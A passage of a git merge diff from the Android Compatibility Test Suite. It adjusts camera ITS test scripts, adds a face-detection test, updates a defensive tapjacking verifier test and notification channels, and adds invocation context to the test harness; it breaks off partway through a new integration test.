Merge "Track batterystats background partial wakelock" into oc-dev
diff --git a/apps/CameraITS/CameraITS.pdf b/apps/CameraITS/CameraITS.pdf
index 80b5e10..5eb3af3 100644
--- a/apps/CameraITS/CameraITS.pdf
+++ b/apps/CameraITS/CameraITS.pdf
Binary files differ
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 5a29074..26af162 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -26,6 +26,9 @@
 import numpy
 import string
 
+CMD_DELAY = 1  # seconds
+
+
 class ItsSession(object):
     """Controls a device over adb to run ITS scripts.
 
@@ -200,6 +203,10 @@
 
         # TODO: Figure out why "--user 0" is needed, and fix the problem.
         _run('%s shell am force-stop --user 0 %s' % (self.adb, self.PACKAGE))
+        _run(('%s shell am start --user 0 '
+              'com.android.cts.verifier/.camera.its.ItsTestActivity '
+              '--activity-brought-to-front') % self.adb)
+        time.sleep(CMD_DELAY)
         _run(('%s shell am startservice --user 0 -t text/plain '
               '-a %s') % (self.adb, self.INTENT_START))
 
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 62f43ec..d47a995 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -775,9 +775,9 @@
     """
     img_out = img
     if "flip" in sys.argv:
-        img_out = np.flipud(img_out)
+        img_out = numpy.flipud(img_out)
     if "mirror" in sys.argv:
-        img_out = np.fliplr(img_out)
+        img_out = numpy.fliplr(img_out)
     return img_out
 
 def stationary_lens_cap(cam, req, fmt):
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index 0883482..1269b84 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -108,7 +108,8 @@
         "android.colorCorrection.gains": [1,1,1,1],
         "android.lens.focusDistance" : f_distance,
         "android.tonemap.mode": 1,
-        "android.shading.mode": 1
+        "android.shading.mode": 1,
+        "android.lens.opticalStabilizationMode": 0
         }
     if linear_tonemap:
         assert(props is not None)
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
index c0b3b3e..4473bc7 100644
--- a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
@@ -12,29 +12,27 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import its.image
+import os.path
+
 import its.caps
 import its.device
+import its.image
 import its.objects
-import os.path
-from matplotlib import pylab
 import matplotlib
-import matplotlib.pyplot
+from matplotlib import pylab
 import numpy as np
 
-#AE must converge within this number of auto requests for EV
-THRESH_CONVERGE_FOR_EV = 8
+NAME = os.path.basename(__file__).split('.')[0]
+LOCKED = 3
+LUMA_LOCKED_TOL = 0.05
+THRESH_CONVERGE_FOR_EV = 8  # AE must converge within this num
 YUV_FULL_SCALE = 255.0
 YUV_SATURATION_MIN = 253.0
 YUV_SATURATION_TOL = 1.0
 
 
 def main():
-    """Tests that EV compensation is applied.
-    """
-    LOCKED = 3
-
-    NAME = os.path.basename(__file__).split(".")[0]
+    """Tests that EV compensation is applied."""
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -50,7 +48,7 @@
             fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
 
         ev_per_step = its.objects.rational_to_float(
-                props['android.control.aeCompensationStep'])
+            props['android.control.aeCompensationStep'])
         steps_per_ev = int(1.0 / ev_per_step)
         evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
         lumas = []
@@ -64,31 +62,37 @@
         cam.do_3a(ev_comp=0, lock_ae=True, do_af=False)
 
         for ev in evs:
-
             # Capture a single shot with the same EV comp and locked AE.
             req = its.objects.auto_capture_request()
             req['android.control.aeExposureCompensation'] = ev
-            req["android.control.aeLock"] = True
+            req['android.control.aeLock'] = True
             caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
-            for cap in caps:
-                if (cap['metadata']['android.control.aeState'] == LOCKED):
+            luma_locked = []
+            for i, cap in enumerate(caps):
+                if cap['metadata']['android.control.aeState'] == LOCKED:
                     y = its.image.convert_capture_to_planes(cap)[0]
-                    tile = its.image.get_image_patch(y, 0.45,0.45,0.1,0.1)
-                    lumas.append(its.image.compute_image_means(tile)[0])
-                    rgb = its.image.convert_capture_to_rgb_image(cap)
-                    rgb_tile = its.image.get_image_patch(rgb,
-                                                       0.45, 0.45, 0.1, 0.1)
-                    rgb_means = its.image.compute_image_means(rgb_tile)
-                    reds.append(rgb_means[0])
-                    greens.append(rgb_means[1])
-                    blues.append(rgb_means[2])
-                    break
-            assert(cap['metadata']['android.control.aeState'] == LOCKED)
+                    tile = its.image.get_image_patch(y, 0.45, 0.45, 0.1, 0.1)
+                    luma = its.image.compute_image_means(tile)[0]
+                    luma_locked.append(luma)
+                    if i == THRESH_CONVERGE_FOR_EV-1:
+                        lumas.append(luma)
+                        rgb = its.image.convert_capture_to_rgb_image(cap)
+                        rgb_tile = its.image.get_image_patch(rgb,
+                                                             0.45, 0.45,
+                                                             0.1, 0.1)
+                        rgb_means = its.image.compute_image_means(rgb_tile)
+                        reds.append(rgb_means[0])
+                        greens.append(rgb_means[1])
+                        blues.append(rgb_means[2])
+                        print 'lumas in AE locked captures: ', luma_locked
+                        assert np.isclose(min(luma_locked), max(luma_locked),
+                                          rtol=LUMA_LOCKED_TOL)
+            assert caps[THRESH_CONVERGE_FOR_EV-1]['metadata']['android.control.aeState'] == LOCKED
 
         pylab.plot(evs, lumas, '-ro')
         pylab.xlabel('EV Compensation')
         pylab.ylabel('Mean Luma (Normalized)')
-        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+        matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
 
         # Trim extra saturated images
         while lumas and lumas[-1] >= YUV_SATURATION_MIN/YUV_FULL_SCALE:
@@ -104,13 +108,13 @@
             else:
                 break
         # Only allow positive EVs to give saturated image
-        assert(len(lumas) > 2)
+        assert len(lumas) > 2
         luma_diffs = np.diff(lumas)
         min_luma_diffs = min(luma_diffs)
-        print "Min of the luma value difference between adjacent ev comp: ", \
-                min_luma_diffs
+        print 'Min of the luma value difference between adjacent ev comp: ',
+        print min_luma_diffs
         # All luma brightness should be increasing with increasing ev comp.
-        assert(min_luma_diffs > 0)
+        assert min_luma_diffs > 0
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene2/scene2.pdf b/apps/CameraITS/tests/scene2/scene2.pdf
index ccde9d98..f4f94e6 100644
--- a/apps/CameraITS/tests/scene2/scene2.pdf
+++ b/apps/CameraITS/tests/scene2/scene2.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/test_num_faces.py b/apps/CameraITS/tests/scene2/test_num_faces.py
new file mode 100644
index 0000000..16e53ad
--- /dev/null
+++ b/apps/CameraITS/tests/scene2/test_num_faces.py
@@ -0,0 +1,97 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os.path
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+
+NAME = os.path.basename(__file__).split('.')[0]
+NUM_TEST_FRAMES = 20
+NUM_FACES = 3
+FD_MODE_OFF = 0
+FD_MODE_SIMPLE = 1
+FD_MODE_FULL = 2
+W, H = 640, 480
+
+
+def main():
+    """Test face detection."""
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        fd_modes = props['android.statistics.info.availableFaceDetectModes']
+        a = props['android.sensor.info.activeArraySize']
+        aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+
+        if its.caps.read_3a(props):
+            _, _, _, _, _ = cam.do_3a(get_results=True)
+
+        for fd_mode in fd_modes:
+            assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
+            req = its.objects.auto_capture_request()
+            req['android.statistics.faceDetectMode'] = fd_mode
+            fmt = {'format': 'yuv', 'width': W, 'height': H}
+            caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
+            for i, cap in enumerate(caps):
+                md = cap['metadata']
+                assert md['android.statistics.faceDetectMode'] == fd_mode
+                faces = md['android.statistics.faces']
+
+                # 0 faces should be returned for OFF mode
+                if fd_mode == FD_MODE_OFF:
+                    assert not faces
+                    continue
+                # Face detection could take several frames to warm up,
+                # but should detect the correct number of faces in last frame
+                if i == NUM_TEST_FRAMES - 1:
+                    img = its.image.convert_capture_to_rgb_image(cap,
+                                                                 props=props)
+                    fnd_faces = len(faces)
+                    print 'Found %d face(s), expected %d.' % (fnd_faces,
+                                                              NUM_FACES)
+                    # draw boxes around faces
+                    for rect in [face['bounds'] for face in faces]:
+                        top_left = (int(round(rect['left']*W/aw)),
+                                    int(round(rect['top']*H/ah)))
+                        bot_rght = (int(round(rect['right']*W/aw)),
+                                    int(round(rect['bottom']*H/ah)))
+                        cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
+                        img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
+                        its.image.write_image(img, img_name)
+                    assert fnd_faces == NUM_FACES
+                if not faces:
+                    continue
+
+                print 'Frame %d face metadata:' % i
+                print '  Faces:', faces
+                print ''
+
+                # Reasonable scores for faces
+                face_scores = [face['score'] for face in faces]
+                for score in face_scores:
+                    assert score >= 1 and score <= 100
+                # Face bounds should be within active array
+                face_rectangles = [face['bounds'] for face in faces]
+                for rect in face_rectangles:
+                    assert rect['top'] < rect['bottom']
+                    assert rect['left'] < rect['right']
+                    assert 0 <= rect['top'] <= ah
+                    assert 0 <= rect['bottom'] <= ah
+                    assert 0 <= rect['left'] <= aw
+                    assert 0 <= rect['right'] <= aw
+
+if __name__ == '__main__':
+    main()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 46d335f..20a9c3d 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -74,7 +74,9 @@
             "test_ev_compensation_basic",
             "test_yuv_plus_jpeg"
             ],
-        "scene2": [],
+        "scene2": [
+            "test_num_faces",
+            ],
         "scene3": [
             "test_3a_consistency",
             "test_lens_movement_reporting",
@@ -167,6 +169,7 @@
 
     # Make output directories to hold the generated files.
     topdir = tempfile.mkdtemp()
+    subprocess.call(['chmod', 'g+rx', topdir])
     print "Saving output files to:", topdir, "\n"
 
     device_id = its.device.get_device_id()
diff --git a/apps/CameraITS/tools/turn_off_screen.py b/apps/CameraITS/tools/turn_off_screen.py
index 207042b..1faef9e 100644
--- a/apps/CameraITS/tools/turn_off_screen.py
+++ b/apps/CameraITS/tools/turn_off_screen.py
@@ -15,6 +15,9 @@
 import re
 import subprocess
 import sys
+import time
+
+TURN_OFF_DELAY = 1  # seconds. Needed for back to back runs
 
 
 def main():
@@ -38,5 +41,7 @@
     else:
         pwrdn = ('adb -s %s shell input keyevent POWER' % screen_id)
         subprocess.Popen(pwrdn.split())
+        time.sleep(TURN_OFF_DELAY)
+
 if __name__ == '__main__':
     main()
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 69b9900..45e1ff3 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -143,9 +143,10 @@
     <string name="da_tapjacking_instructions">
         1. Launch the device admin add screen by pressing the button below.\n
         2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
-        3. Attempt to activate the admin with the transparent activity still obscuring the window.
-        The button should discard any taps while showing a toast warning to the user.\n
-        4. Return to this screen and pass the test if the device admin could not be activated while the details
+        3. The button to activate the admin should be disabled and should not register any taps.\n
+        4. Press \'back\' to exit the overlaying transparent activity.\n
+        5. Press \'back\' to exit the device admin details and return to this screen.\n
+        Pass the test if the device admin could not be activated while the details
         window was being obscured.
     </string>
     <string name="da_tapjacking_button_text">Enable device admin</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
index b53392a..c8bffdf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
@@ -60,10 +60,13 @@
         if (hasTrustAgents()) {
             setupDisableTrustAgentsTest(adapter);
         }
-        adapter.add(new DialogTestListItem(this, R.string.device_admin_keyguard_disable_camera,
-                getTestIdPrefix()+"KeyguardDisableCamera",
-                R.string.device_admin_keyguard_disable_camera_instruction,
-                new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
+
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
+            adapter.add(new DialogTestListItem(this, R.string.device_admin_keyguard_disable_camera,
+                    getTestIdPrefix()+"KeyguardDisableCamera",
+                    R.string.device_admin_keyguard_disable_camera_instruction,
+                    new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
+        }
 
         adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
                 "DeviceAdmin_DisableNotifications",
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
index 6a81cba..4c9b46d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/DeviceAdminTapjackingTestActivity.java
@@ -61,7 +61,8 @@
 
         if (savedInstanceState != null) {
             mAdminActivated = savedInstanceState.getBoolean(ADMIN_ACTIVATED_BUNDLE_KEY, false);
-            mActivitiesFinishedInOrder = savedInstanceState.getBoolean(ACTIVITIES_FINISHED_IN_ORDER_KEY, false);
+            mActivitiesFinishedInOrder = savedInstanceState.getBoolean(
+                    ACTIVITIES_FINISHED_IN_ORDER_KEY, false);
         } else if (isActiveAdminAfterTimeout()) {
             Log.e(TAG, "Could not remove active admin. Cannot proceed with test");
             finish();
@@ -71,9 +72,9 @@
     }
 
     private boolean isActiveAdminAfterTimeout() {
-        final long startTime = SystemClock.uptimeMillis();
+        final long timeOut = SystemClock.uptimeMillis() + REMOVE_ADMIN_TIMEOUT;
         while (mDevicePolicyManager.isAdminActive(mAdmin)
-                && SystemClock.uptimeMillis() < startTime + REMOVE_ADMIN_TIMEOUT) {
+                && SystemClock.uptimeMillis() < timeOut ) {
             try {
                 Thread.sleep(1000);
             } catch(InterruptedException exc) {
@@ -92,7 +93,8 @@
                 Thread.sleep(2000);
             } catch (InterruptedException exc) {
             }
-            startActivityForResult(new Intent(this, OverlayingActivity.class), REQUEST_OVERLAY_ACTIVITY);
+            startActivityForResult(new Intent(this, OverlayingActivity.class),
+                    REQUEST_OVERLAY_ACTIVITY);
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
index f12d698..372ae67 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
@@ -19,6 +19,7 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.Notification;
+import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.admin.DevicePolicyManager;
 import android.content.ActivityNotFoundException;
@@ -28,7 +29,6 @@
 import android.content.Intent;
 import android.util.Log;
 import android.widget.Toast;
-
 import com.android.cts.verifier.IntentDrivenTestActivity;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.R;
@@ -38,6 +38,7 @@
 
     private static final String TAG = "CtsVerifierByodUtils";
     static final int BUGREPORT_NOTIFICATION_ID = 12345;
+    private static final String CHANNEL_ID = "BugReport";
 
     static TestListItem createInteractiveTestItem(Activity activity, String id, int titleRes,
             int infoRes, ButtonInfo[] buttonInfos) {
@@ -80,7 +81,12 @@
     static void showBugreportNotification(Context context, String msg, int notificationId) {
         NotificationManager mNotificationManager =
                 (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
+
+        NotificationChannel channel = new NotificationChannel(CHANNEL_ID,
+                CHANNEL_ID, NotificationManager.IMPORTANCE_HIGH);
+        mNotificationManager.createNotificationChannel(channel);
         Notification notification = new Notification.Builder(context)
+                .setChannelId(CHANNEL_ID)
                 .setSmallIcon(R.drawable.icon)
                 .setContentTitle(context.getString(
                         R.string.device_owner_requesting_bugreport_tests))
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
index c38628d..c9a6265 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
@@ -15,6 +15,7 @@
  */
 package com.android.compatibility.common.deviceinfo;
 
+import android.os.Build;
 import android.os.VintfObject;
 import android.os.VintfRuntimeInfo;
 
@@ -33,6 +34,10 @@
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
+        // VintfRuntimeInfo is available Android O onward.
+        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
+           return;
+        }
         store.addResult("cpu_info", VintfRuntimeInfo.getCpuInfo());
         store.addResult("os_name", VintfRuntimeInfo.getOsName());
         store.addResult("node_name", VintfRuntimeInfo.getNodeName());
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index cd80500..72f0987 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -37,6 +37,8 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.DeviceUnresponsiveException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.invoker.InvocationContext;
 import com.android.tradefed.log.ITestLogger;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.ITestInvocationListener;
@@ -48,6 +50,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IShardableTest;
 import com.android.tradefed.testtype.IStrictShardableTest;
@@ -79,7 +82,8 @@
  */
 @OptionClass(alias = "compatibility")
 public class CompatibilityTest implements IDeviceTest, IShardableTest, IBuildReceiver,
-        IStrictShardableTest, ISystemStatusCheckerReceiver, ITestCollector {
+        IStrictShardableTest, ISystemStatusCheckerReceiver, ITestCollector,
+        IInvocationContextReceiver {
 
     public static final String INCLUDE_FILTER_OPTION = "include-filter";
     public static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
@@ -274,6 +278,8 @@
     private static CountDownLatch sPreparedLatch;
     private boolean mIsLocalSharding = false;
 
+    private IInvocationContext mInvocationContext;
+
     /**
      * Create a new {@link CompatibilityTest} that will run the default list of
      * modules.
@@ -467,6 +473,12 @@
                 if (checkers != null && !checkers.isEmpty()) {
                     runPreModuleCheck(module.getName(), checkers, mDevice, listener);
                 }
+                IInvocationContext moduleContext = new InvocationContext();
+                moduleContext.setConfigurationDescriptor(module.getConfigurationDescriptor());
+                moduleContext.addInvocationAttribute(IModuleDef.MODULE_NAME, module.getName());
+                moduleContext.addInvocationAttribute(IModuleDef.MODULE_ABI,
+                        module.getAbi().getName());
+                mInvocationContext.setModuleInvocationContext(moduleContext);
                 try {
                     module.run(listener);
                 } catch (DeviceUnresponsiveException due) {
@@ -480,6 +492,10 @@
                             stack.toString());
                     CLog.w("This may be due to incorrect timeout setting on module %s",
                             module.getName());
+                } finally {
+                    // clear out module invocation context since we are now done with module
+                    // execution
+                    mInvocationContext.setModuleInvocationContext(null);
                 }
                 long duration = System.currentTimeMillis() - start;
                 long expected = module.getRuntimeHint();
@@ -773,4 +789,9 @@
     public void setCollectTestsOnly(boolean collectTestsOnly) {
         mCollectTestsOnly = collectTestsOnly;
     }
+
+    @Override
+    public void setInvocationContext(IInvocationContext invocationContext) {
+        mInvocationContext = invocationContext;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
index edb241a..69e8393 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
@@ -15,7 +15,9 @@
  */
 package com.android.compatibility.common.tradefed.testtype;
 
+import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.invoker.IInvocationContext;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IDeviceTest;
@@ -32,6 +34,10 @@
 public interface IModuleDef extends Comparable<IModuleDef>, IBuildReceiver, IDeviceTest,
         IRemoteTest, IRuntimeHintProvider, ITestCollector {
 
+    /** key names used for saving module info into {@link IInvocationContext} */
+    public static String MODULE_NAME = "module-name";
+    public static String MODULE_ABI = "module-abi";
+
     /**
      * @return The name of this module.
      */
@@ -75,4 +81,8 @@
     boolean prepare(boolean skipPrep, List<String> preconditionArgs)
             throws DeviceNotAvailableException;
 
+    /**
+     * Retrieves the {@link ConfigurationDescriptor} associated with module config
+     */
+    ConfigurationDescriptor getConfigurationDescriptor();
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index 29009f1..5198ec1 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -21,6 +21,7 @@
 import com.android.compatibility.common.tradefed.targetprep.PreconditionPreparer;
 import com.android.compatibility.common.tradefed.targetprep.TokenRequirement;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.config.ConfigurationException;
 import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -66,13 +67,15 @@
     private IBuildInfo mBuild;
     private ITestDevice mDevice;
     private Set<String> mPreparerWhitelist = new HashSet<>();
+    private ConfigurationDescriptor mConfigurationDescriptor;
 
     public ModuleDef(String name, IAbi abi, IRemoteTest test,
-            List<ITargetPreparer> preparers) {
+            List<ITargetPreparer> preparers, ConfigurationDescriptor configurationDescriptor) {
         mId = AbiUtils.createId(abi.getName(), name);
         mName = name;
         mAbi = abi;
         mTest = test;
+        mConfigurationDescriptor = configurationDescriptor;
         boolean hasAbiReceiver = false;
         for (ITargetPreparer preparer : preparers) {
             if (preparer instanceof IAbiReceiver) {
@@ -354,4 +357,9 @@
             }
         }
     }
+
+    @Override
+    public ConfigurationDescriptor getConfigurationDescriptor() {
+        return mConfigurationDescriptor;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
index ea76919..4238508 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
@@ -341,7 +341,8 @@
             String[] configPaths) throws ConfigurationException {
         // Invokes parser to process the test module config file
         IConfiguration config = mConfigFactory.createConfigurationFromArgs(configPaths);
-        addModuleDef(new ModuleDef(name, abi, test, config.getTargetPreparers()));
+        addModuleDef(new ModuleDef(name, abi, test, config.getTargetPreparers(),
+                config.getConfigurationDescription()));
     }
 
     private void addModuleDef(IModuleDef moduleDef) {
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
index 8ef909e..609fe6b 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
@@ -22,8 +22,10 @@
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.result.ResultReporter;
 import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.IModuleDef;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.TestStatus;
+import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.ConfigurationFactory;
 import com.android.tradefed.config.OptionSetter;
@@ -36,6 +38,7 @@
 import com.android.tradefed.result.ResultForwarder;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
@@ -67,6 +70,7 @@
 
     private static final String CONFIG =
             "<configuration description=\"Auto Generated File\">\n" +
+            "<option name=\"config-descriptor:metadata\" key=\"component\" value=\"%s\" />\n" +
             "<test class=\"com.android.compatibility.common.tradefed.testtype.%s\">\n" +
             "    <option name=\"report-test\" value=\"%s\" />\n" +
             "    <option name=\"run-complete\" value=\"%s\" />\n" +
@@ -75,7 +79,8 @@
             "</test>\n" +
             "</configuration>";
     private static final String FILENAME = "%s.config";
-    private static final String TEST_STUB = "TestStub"; // Trivial test stub
+    private static final String TEST_STUB = "TestStub"; // Test stub
+    private static final String SIMPLE_TEST_STUB = "SimpleTestStub"; // Simple test stub
     private static final String TEST_STUB_SHARDABLE = "TestStubShardable";
     private static final String COMMAND_LINE = "run cts";
 
@@ -134,6 +139,7 @@
         mContext = new InvocationContext();
         mContext.addAllocatedDevice("default", mMockDevice);
         mContext.addDeviceBuildInfo("default", mMockBuildInfo);
+        mTest.setInvocationContext(mContext);
     }
 
     @After
@@ -155,13 +161,33 @@
     private void createConfig(File testsDir, String name, String moduleClass, boolean reportTest,
             boolean runComplete, boolean doesOneTestFail, boolean internalRetry)
                     throws IOException {
+        createConfig(testsDir, name, moduleClass, reportTest, runComplete, doesOneTestFail,
+                internalRetry, "foo");
+
+    }
+
+    /**
+     * Create a CTS configuration with a fake tests to exercise all cases.
+     *
+     * @param testsDir The testcases/ dir where to put the module
+     * @param name the name of the module.
+     * @param moduleClass the fake test class to use.
+     * @param reportTest True if the test report some tests
+     * @param runComplete True if the test run is complete
+     * @param doesOneTestFail True if one of the test is going to fail
+     * @param internalRetry True if the test will retry the module itself once
+     * @param component the platform component name that the module can be categorized under
+     */
+    private void createConfig(File testsDir, String name, String moduleClass, boolean reportTest,
+            boolean runComplete, boolean doesOneTestFail, boolean internalRetry, String component)
+                    throws IOException {
         File config = new File(testsDir, String.format(FILENAME, name));
         FileUtil.deleteFile(config);
         if (!config.createNewFile()) {
             throw new IOException(String.format("Failed to create '%s'", config.getAbsolutePath()));
         }
 
-        FileUtil.writeToFile(String.format(CONFIG, moduleClass, reportTest, runComplete,
+        FileUtil.writeToFile(String.format(CONFIG, component, moduleClass, reportTest, runComplete,
                 doesOneTestFail, internalRetry), config);
     }
 
@@ -192,6 +218,83 @@
     }
 
     /**
+     * Verify that result reporters test run ended callback can receive component name as configured
+     * in module config metadata field.
+     */
+    @Test
+    public void testSingleModuleRun_checkMetadata() throws Exception {
+        final String moduleName = "AwsomeModule";
+        final String mAbi = "arm64-v8a";
+        final String component = "CriticalComponent";
+        final List<String> receivedComponentsTestEnded = new ArrayList<>();
+        final List<String> receivedModuleNameTestEnded = new ArrayList<>();
+        final List<String> receivedAbiTestEnded = new ArrayList<>();
+        final List<String> receivedComponentsTestRunEnded = new ArrayList<>();
+        final List<String> receivedModuleNameTestRunEnded = new ArrayList<>();
+        final List<String> receivedAbiTestRunEnded = new ArrayList<>();
+        createConfig(mTestDir, moduleName, SIMPLE_TEST_STUB, true, true, true, false, component);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
